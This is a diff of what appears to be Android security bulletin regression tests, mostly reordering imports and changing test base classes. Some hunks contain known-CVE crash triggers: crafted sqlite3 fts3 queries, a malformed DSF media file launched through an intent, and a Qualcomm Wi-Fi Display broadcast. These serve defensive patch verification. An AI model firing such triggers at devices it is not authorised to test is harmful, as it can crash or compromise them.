+     * CVE-2022-22082
+     */
+    @AsbSecurityTest(cveBugId = 223211217)
+    @Test
+    public void testPocCVE_2022_22082() throws Exception {
+        /*
+         * Non StageFright test.
+         */
+        safeReboot();
+        AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runCommandLine(
+                "am start -a android.intent.action.VIEW -t audio/dsf -d"
+                        + " file:///sdcard/cve_2022_22082.dsf",
+                getDevice());
+        Thread.sleep(10000);
+        AdbUtils.assertNoCrashes(getDevice(), "media.extractor");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
deleted file mode 100644
index 1d57cb6..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.ddmlib.Log;
-
-import com.google.common.collect.ImmutableSet;
-
-import java.util.Set;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class HostsideMainlineModuleDetector {
-    private static final String LOG_TAG = "MainlineModuleDetector";
-
-    private SecurityTestCase context;
-
-    private static ImmutableSet<String> playManagedModules;
-
-    HostsideMainlineModuleDetector(SecurityTestCase context) {
-        this.context = context;
-    }
-
-    synchronized Set<String> getPlayManagedModules() throws Exception {
-        if (playManagedModules == null) {
-            AdbUtils.runCommandLine("logcat -c", context.getDevice());
-            String output = AdbUtils.runCommandLine(
-                    "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
-                    context.getDevice());
-            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
-                    "am output: " + output);
-            Thread.sleep(5 * 1000L);
-            String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
-                    context.getDevice());
-            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
-                    "Found logcat output: " + logcat);
-            Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
-            if (matcher.find()) {
-                playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
-            } else {
-                playManagedModules = ImmutableSet.of();
-            }
-        }
-        return playManagedModules;
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 367c766..2a0a572 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -15,15 +15,18 @@
  */
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_04 extends SecurityTestCase {
+public class Poc16_04 extends NonRootSecurityTestCase {
 
     /**
      * b/26323455
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index f185352..a837d5b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_05 extends SecurityTestCase {
+public class Poc16_05 extends NonRootSecurityTestCase {
     /**
      *  b/27555981
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 6f7d26b..d4519ba 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_06 extends SecurityTestCase {
+public class Poc16_06 extends NonRootSecurityTestCase {
     /**
      *  b/27661749
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index d598252..ae91d11 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_07 extends SecurityTestCase {
+public class Poc16_07 extends NonRootSecurityTestCase {
     /**
      *  b/28740702
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index e3f9906..69821c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_09 extends SecurityTestCase {
+public class Poc16_09 extends NonRootSecurityTestCase {
     /**
      * b/27773913
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index c19333a..beec744 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_10 extends SecurityTestCase {
+public class Poc16_10 extends NonRootSecurityTestCase {
 
     /**
      *  b/30204103
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 5012920..e1334b5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_11 extends SecurityTestCase {
+public class Poc16_11 extends NonRootSecurityTestCase {
 
     /**
      *  b/29149404
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 392b11a..9657064 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_12 extends SecurityTestCase {
+public class Poc16_12 extends NonRootSecurityTestCase {
 
     //Criticals
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 0773716..71e6998 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_01 extends SecurityTestCase {
+public class Poc17_01 extends NonRootSecurityTestCase {
 
     //Criticals
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 1fd4bf9..cd3dab0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_02 extends SecurityTestCase {
+public class Poc17_02 extends NonRootSecurityTestCase {
     /**
      *  b/32799236
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 50093b8..fba7146 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -16,17 +16,20 @@
 
 package android.security.cts;
 
-import java.util.concurrent.Callable;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Callable;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_03 extends SecurityTestCase {
+public class Poc17_03 extends NonRootSecurityTestCase {
 
     /**
      *  b/31824853
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 36f921c..478398b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_04 extends SecurityTestCase {
+public class Poc17_04 extends NonRootSecurityTestCase {
 
     /**
      * b/32342065
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index fcedfb9..11a3123 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -16,18 +16,18 @@
 
 package android.security.cts;
 
-import java.util.Arrays;
-import java.util.concurrent.Callable;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_05 extends SecurityTestCase {
+public class Poc17_05 extends NonRootSecurityTestCase {
 
     /*
      * CVE-2016-5862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
index a3609a24..9afeb9b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_06 extends SecurityTestCase {
+public class Poc17_06 extends NonRootSecurityTestCase {
 
     /**
      * b/36392138
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index f9309e5..52b40a6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_07 extends SecurityTestCase {
+public class Poc17_07 extends NonRootSecurityTestCase {
 
     /**
      * b/35443725
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index dbb50bd..fdbc11f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_09 extends SecurityTestCase {
+public class Poc17_09 extends NonRootSecurityTestCase {
 
     /**
      * b/63852675
@@ -32,31 +35,39 @@
     @Test
     @AsbSecurityTest(cveBugId = 63852675)
     public void testPocCve_2017_6983() throws Exception {
-      // Error code of 139 represents segmentation fault
-      assertFalse("Segfault found",
-        AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
-                                                          + "INSERT INTO a values(x'efbeaddeefbeadde');"
-                                                          + "SELECT optimize(b)  FROM a;\""
-                                      , getDevice()
-                                      )==139);
-      assertFalse("Segfault found",
-        AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
-                                                          + "INSERT INTO a values(x'efbeaddeefbeadde');"
-                                                          + "SELECT snippet(b)   FROM a;\""
-                                      , getDevice()
-                                      )==139);
-      assertFalse("Segfault found",
-        AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
-                                                          + "INSERT INTO a values(x'efbeaddeefbeadde');"
-                                                          + "SELECT offsets(b)   FROM a;\""
-                                      , getDevice()
-                                      )==139);
-      assertFalse("Segfault found",
-        AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
-                                                          + "INSERT INTO a values(x'efbeaddeefbeadde');"
-                                                          + "SELECT matchinfo(b) FROM a;\""
-                                      , getDevice()
-                                      )==139);
+        // Error code of 139 represents segmentation fault
+        assertFalse(
+                "Segfault found",
+                AdbUtils.runCommandGetExitCode(
+                                "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+                                        + "INSERT INTO a values(x'efbeaddeefbeadde');"
+                                        + "SELECT optimize(b)  FROM a;\"",
+                                getDevice())
+                        == 139);
+        assertFalse(
+                "Segfault found",
+                AdbUtils.runCommandGetExitCode(
+                                "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+                                        + "INSERT INTO a values(x'efbeaddeefbeadde');"
+                                        + "SELECT snippet(b)   FROM a;\"",
+                                getDevice())
+                        == 139);
+        assertFalse(
+                "Segfault found",
+                AdbUtils.runCommandGetExitCode(
+                                "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+                                        + "INSERT INTO a values(x'efbeaddeefbeadde');"
+                                        + "SELECT offsets(b)   FROM a;\"",
+                                getDevice())
+                        == 139);
+        assertFalse(
+                "Segfault found",
+                AdbUtils.runCommandGetExitCode(
+                                "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+                                        + "INSERT INTO a values(x'efbeaddeefbeadde');"
+                                        + "SELECT matchinfo(b) FROM a;\"",
+                                getDevice())
+                        == 139);
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 1686561..4d406b7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_11 extends SecurityTestCase {
+public class Poc17_11 extends NonRootSecurityTestCase {
 
     /**
      * b/36075131
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 160ec27..f63f34f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_12 extends SecurityTestCase {
+public class Poc17_12 extends NonRootSecurityTestCase {
 
     /**
      * b/38045794
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1730fef..b27efff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_02 extends SecurityTestCase {
+public class Poc18_02 extends NonRootSecurityTestCase {
 
     /**
      * b/68953950
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 0899f28..f7a9519 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_03 extends SecurityTestCase {
+public class Poc18_03 extends NonRootSecurityTestCase {
 
     /**
      * b/71389378
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index 17ada80..7a4fd54 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_04 extends SecurityTestCase {
+public class Poc18_04 extends NonRootSecurityTestCase {
     /**
      * b/69683251
      * Does not require root but must be a hostside test to avoid
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
index 320f997..9b1830d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_05 extends SecurityTestCase {
+public class Poc18_05 extends NonRootSecurityTestCase {
     /**
      * b/70721937
      * Does not require root but must be a hostside test to avoid a race
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 63cdf56..236865e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_06 extends SecurityTestCase {
+public class Poc18_06 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2018-5884
@@ -35,9 +38,11 @@
         String wfd_service = AdbUtils.runCommandLine(
                 "pm list package com.qualcomm.wfd.service", getDevice());
         if (wfd_service.contains("com.qualcomm.wfd.service")) {
-            String result = AdbUtils.runCommandLine(
-                    "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
-            getDevice());
+            String result =
+                    AdbUtils.runCommandLine(
+                            "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei"
+                                    + " format 3 --ei value 32",
+                            getDevice());
             assertNotMatchesMultiLine("Broadcast completed", result);
         }
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 1147658..ce3ee4d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
